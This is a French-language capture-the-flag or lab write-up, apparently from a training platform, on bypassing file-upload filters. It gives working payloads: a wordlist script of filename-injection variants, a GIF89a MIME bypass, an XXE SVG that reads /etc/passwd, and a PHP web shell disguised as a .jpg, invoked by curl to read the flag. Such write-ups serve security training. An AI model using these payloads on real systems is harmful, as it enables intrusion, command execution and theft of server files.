đŸ›Ąïž Blacklist Filters


En essayant d'uploader un shell PHP classique, on remarque que la protection est bien plus stricte, et cette fois-ci cÎté serveur.

🔎 L'idĂ©e est donc de cibler les extensions acceptĂ©es par le serveur.

⚙ Étapes de l'attaque :

  1. On upload d'abord une image classique pour observer le comportement du serveur.
  2. Ensuite, on intercepte la requĂȘte avec Burp Suite.
  3. On réalise un fuzzing sur l'extension du fichier à l'aide de la liste fournie par PayloadsAllTheThings.
  4. On découvre que plusieurs extensions "exotiques" sont autorisées.

✅ Parmi elles, l'extension .phar fonctionne.

✅ Exploitation :

On modifie notre fichier shell pour qu’il ait l’extension .phar, puis on l’upload.

đŸ“„ Une fois le fichier en place, on le dĂ©clenche

🎉 Et on obtient le flag !



đŸ›Ąïž Whitelist Filters

Dans certains challenges, les filtres cĂŽtĂ© serveur reposent sur une whitelist d’extensions autorisĂ©es, souvent implĂ©mentĂ©e via une expression rĂ©guliĂšre.
Mais ces regex peuvent ĂȘtre mal conçues et donc vulnĂ©rables Ă  des contournements.


🧰 GĂ©nĂ©ration de la wordlist

Pour tester différentes combinaisons de noms de fichiers, on génÚre une wordlist avec ce script :

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '
' ':'; do for ext in '.php' '.phps' '.phar' '.phtml'; do echo "shell$char$ext.jpg" >> wordlist.txt echo "shell$ext$char.jpg" >> wordlist.txt echo "shell.jpg$char$ext" >> wordlist.txt echo "shell.jpg$ext$char" >> wordlist.txt done done

Avec Burp Suite Intruder, on utilise notre wordlist pour tester l'upload fichier par fichier. On observe les réponses du serveur pour savoir lesquels sont acceptés, rejetés, ou uploadés mais inaccessibles.

⚠ ProblĂšmes rencontrĂ©s Certains fichiers sont bien uploadĂ©s, mais inaccessibles via HTTP.

D’autres gĂ©nĂšrent des erreurs de permission Ă  l’exĂ©cution.

Il faut donc tester plusieurs combinaisons jusqu’à trouver un contournement fonctionnel. Dans mon cas, un fichier avec l’extension .phar.jpeg a Ă©tĂ© acceptĂ© et interprĂ©tĂ© comme du PHP via une requĂȘte comme suit :

curl http://94.237.51.163:44971/profile_images/shell.phar.jpeg?cmd=cat%20/flag.txt

đŸ›Ąïž Type Filters

Dans ce scĂ©nario, on ne filtre plus seulement les extensions, mais Ă©galement le type MIME dĂ©clarĂ© dans la requĂȘte HTTP.
On doit donc combiner plusieurs techniques pour contourner les protections.


🎯 Objectif : Bypasser le filtrage MIME

On utilise ici une approche en deux temps :

  1. Réutiliser l'extension .phar.jpg, déjà acceptée précédemment.
  2. Fuzzer le header Content-Type pour déterminer les types autorisés.

🔍 Fuzzing du Content-Type

En testant plusieurs valeurs via Burp Suite, on découvre que le serveur accepte :

Content-Type: image/gif

Payload final

On commence le fichier par GIF89a pour bypasser la vérification magique.

Puis on insĂšre un shell PHP classique dans le reste du fichier.

On l’envoie avec Content-Type: image/gif.

Et le serveur l'accepte !

đŸ› ïž Skill Assessments — Write-up

đŸ–Œïž Étape 1 : Point d’entrĂ©e — upload d’image

On commence par repĂ©rer le seul endroit oĂč il est possible d’uploader un fichier :

le formulaire de contact

Cependant, seules les images (avec extension .jpg, .jpeg, etc.) sont autorisées.
On va donc contourner cette vérification en uploadant un fichier SVG déguisé en JPEG (extension .jpg).


🐛 Étape 2 : Injection XML avec un fichier SVG

Objectif : exploiter une Stored XSS ou une XXE (XML External Entity) via un fichier SVG.

Voici un exemple de payload SVG contenant une entité externe (XXE) pour lire des fichiers cÎté serveur :

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg>

✅ Une fois le fichier uploadĂ©, on obtient bien un retour contenant le contenu de /etc/passwd.


🔍 Étape 3 : Trouver le chemin du fichier uploadĂ©

On cherche maintenant à connaßtre le dossier de destination des fichiers uploadés.

En lisant le fichier upload.php grĂące Ă  une autre XXE (ou lecture directe), on trouve quelque chose de ce type :

image1

Une fois décodé (souvent encodé en base64), on découvre que les fichiers sont enregistrés dans :

user_feedback_submissions/

Et qu’ils sont renommĂ©s Ă  l’upload, typiquement avec un prĂ©fixe basĂ© sur la date (date('ymd')).


💣 Étape 4 : Upload de shell dĂ©guisĂ© + exĂ©cution

On combine tout ce qu’on a appris :

  • On crĂ©e un fichier PHP contenant du code malveillant
  • On le renomme avec une extension .jpg pour bypasser les filtres (shell.phar.jpg)
  • On utilise une vraie image contenant les bons magic bytes JPEG (FF D8) + payload PHP
  • On upload ce fichier, puis on accĂšde Ă  son chemin public, par exemple :
/user_feedback_submissions/250620_shell.phar.jpg

Exemple de contenu PHP dans l’image :

<?php echo system($_GET['cmd']); ?>

image


🏁 Étape 5 : Extraction du flag

Il suffit maintenant d’utiliser un paramùtre comme ?cmd=cat flag.txt, ou d’explorer les fichiers sensibles.
Le flag est récupéré avec succÚs via le shell distant.


✅ RĂ©sumĂ©

Étape Description
1ïžâƒŁ Upload d'un SVG masquĂ© en JPEG
2ïžâƒŁ Exploitation XXE pour lire /etc/passwd
3ïžâƒŁ Lecture de upload.php pour dĂ©couvrir le chemin user_feedback_submissions/
4ïžâƒŁ Upload d’un fichier PHP camouflĂ© en .jpg
5ïžâƒŁ RĂ©cupĂ©ration du flag via system() dans le shell